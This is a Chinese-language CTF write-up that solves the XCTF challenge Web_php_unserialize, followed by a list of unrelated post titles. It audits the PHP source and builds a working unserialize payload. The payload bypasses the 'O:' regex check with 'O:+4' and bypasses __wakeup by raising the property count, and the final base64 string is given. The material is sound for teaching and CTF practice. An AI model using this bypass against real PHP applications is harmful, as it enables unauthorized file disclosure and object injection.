XCTF-高手进阶区:Web_php_unserialize(详解)
代码审计:
<?php
class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }function __destruct() { echo @highlight_file($this->file, true); }function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } }
}
if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else {@unserialize($var); }
} else { highlight_file("index.php");
}
?>
这里看到了__wakeup,猜想是反序列化漏洞,秘密再fl4g.php中哦
(1)实例化对象
<?php
class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }function __destruct() { echo @highlight_file($this->file, true); }function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } }
}$a=new Demo('fl4g.php');
$b=serialize($a);
echo $b;//输出:
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
(2)分析代码
if (isset($_GET['var'])) { //判断var变量是否存在并且非NULL$var = base64_decode($_GET['var']); //bse64解密varif (preg_match('/[oc]:\d+:/i', $var)) { //正则匹配$vardie('stop hacking!'); //停止脚本并输出stop hacking!} else {@unserialize($var); //反序列化$var}
} else { highlight_file("index.php"); //对index.php进行语法高亮显示
}
最终目的是看到fl4g.php里的内容,那么我们需要做到的就两点:
- 绕过preg_match
- 绕过__wakeup
(3)payload
<?php
class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }function __destruct() { echo @highlight_file($this->file, true); }function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } }
}$a=new Demo('fl4g.php');
$b=serialize($a);
echo $b;
echo '<br/>';
$b=str_replace(':1:',':2:',$b);
$b=str_replace(':4:',':+4:',$b);
echo $b;
echo '</br>';
$c=base64_encode($b);
echo $c;
//输出:
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
注意:不同修饰符序列化后的值不一样
访问控制修饰符的不同,序列化后属性的长度和属性值会有所不同,如下所示:
public属性被序列化的时候属性值会变成属性名
protected属性被序列化的时候属性值会变成\x00*\x00属性名
private属性被序列化的时候属性值会变成\x00类名\x00属性名
其中:\x00表示空字符,但是还是占用一个字符位置
这就是为什么上面的payload中serialize($a)执行后的序列化字符串中属性file变成Demofile,长度为10
特别注意的是,因为浏览器会自动解码\x00,因此你看到的最后序列化结果为O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
,并没有看到\x00,但实际base64编码是需要加上\x00的,所以最后这个base64编码需要使用php函数才有效(简单来说都在php环境中使用)
如果你使用其它软件base64编码时,经过url解码后的序列化字符串(O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
)也是没有\x00的;但是,你可以使用bp的Decoder模块进行编码,将O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
中的Demo前后添加空字符00,如下:
接下来添加空字符:
(4)执行payload
XCTF-高手进阶区:Web_php_unserialize(详解)相关推荐
- 攻防世界web进阶区Web_php_wrong_nginx_config详解
攻防世界web进阶区Web_php_wrong_nginx_config详解 题目 详解 题目 打开发现无论我们输入什么他都会弹出网站建设不完全 那么我们使用御剑进行扫描,扫描到了admin和robo ...
- 攻防世界web进阶区ics-05详解
攻防世界web进阶区ics-05详解 题目 解法 preg_replace ctype_alnum strpos X-Forwarded-For 题目 我们只能点击一个地方 解法 御剑扫描有一个css ...
- 攻防世界web进阶区Web_python_block_chain详解
攻防世界web进阶区Web_python_block_chain详解 题目 详解 51% 双花攻击 题目 详解 我们整理一下 Announcement: The server has been res ...
- 攻防世界web高手进阶区ics-05(XCTF 4th-CyberEarth)WriteUp
文章目录 解题部分 总结: 解题部分 题目来源 攻防世界web高手进阶区ics-05(XCTF 4th-CyberEarth) 1.拿到题目以后,发现是一个index.php的页面,并且设备-没有显示 ...
- 攻防世界 web高手进阶区 10分题 weiphp
前言 继续ctf的旅程 开始攻防世界web高手进阶区的10分题 本文是weiphp的writeup 解题过程 进入界面 点击 进入一个登陆界面 没有注册 那肯定得找源码了 惯例源码+御剑 发现git泄 ...
- 攻防世界 Crypto高手进阶区 3分题 你猜猜
前言 继续ctf的旅程 攻防世界Crypto高手进阶区的3分题 本篇是你猜猜的writeup 发现攻防世界的题目分数是动态的 就仅以做题时的分数为准了 解题过程 得到一串16进制 504B03040A ...
- 攻防世界 Misc高手进阶区 7分题 Russian-zips
前言 继续ctf的旅程 攻防世界Misc高手进阶区的7分题 本篇是Russian-zips的writeup 发现攻防世界的题目分数是动态的 就仅以做题时的分数为准了 解题过程 得到一个压缩文件 解压要 ...
- 攻防世界misc高手进阶区刷题记录
攻防世界misc高手进阶区刷题记录 easycap 解压出来之后为一个pcap文件,使用wireshark打开 右键追踪TCP数据流即可获得flag flag:385b87afc8671dee0755 ...
- 攻防世界 Misc高手进阶区 2分题 再见李华
前言 继续ctf的旅程 攻防世界Misc高手进阶区的2分题 本篇是再见李华的writeup 发现攻防世界的题目分数是动态的 就仅以做题时的分数为准了 解题过程 下下来一个jpg文件 扔进stegsol ...
- 攻防世界 Misc高手进阶区 3分题 信号不好先挂了
前言 继续ctf的旅程 攻防世界Misc高手进阶区的3分题 本篇是信号不好先挂了的writeup 发现攻防世界的题目分数是动态的 就仅以做题时的分数为准了 解题过程 下下来一个png图片 扔进steg ...
最新文章
- oracle数据库查询如何导出大字段,Oracle数据库导出大字段(CLOB)数据-Oracle
- mysql忘记密麻麻_mysql忘记密码怎么办
- c++ 向量的值逆序输出_C++中vector的常用方法
- asp 取数据 计算_ASP.NET Core 简介
- java开发框架_Java-程序员感悟-开发人员喜欢的框架之Spring
- 斯伦贝谢好进吗_在斯伦贝谢工作是怎样的体验?
- 内置Jetty配置JSP支持过程中的常见报错
- 万由nas系统安装MySQL_ESXi安装万由OS(U-NAS 3.0.9)
- BugKu web题目(bp)弱密码top1000
- ES分布式架构的原理
- spiders的使用
- HTML篇三——(1)
- python爬取淘宝数据
- java 开发脚本视频_你写脚本,AI自动剪视频:13分钟完成剪辑师7小时创作
- 计算机芯片维修论文,中职院校计算机硬件芯片检测及维修的论文
- CUDA之GPU生态系统
- 计算机网络——网络层——思维导图
- keras使用VGG19网络模型实现风格迁移
- python3爬虫基本操作——抓取股票信息
- docker安装es+mac安装Kibana工具+es查询语法笔记
热门文章
- Python3解决UnicodeDecodeError:'utf-8' codec can't decode byte..问题终极解决方案
- webpack:多文件、多环境、跨域处理、热加载
- 线性回归原理与spark/sklearn实现
- spark之3:安装部署
- solr添加kerberos认证及授权
- slf4j+log4j2的整合配置
- Spark内存管理(2)—— 统一内存管理
- spark学习:java版JavaRDD与JavaPairRDD的互相转换
- SQL表之间复制数据、选出随机几条数据、删除重复数据、取得自增长列等操作...
- Spine 2D animation for games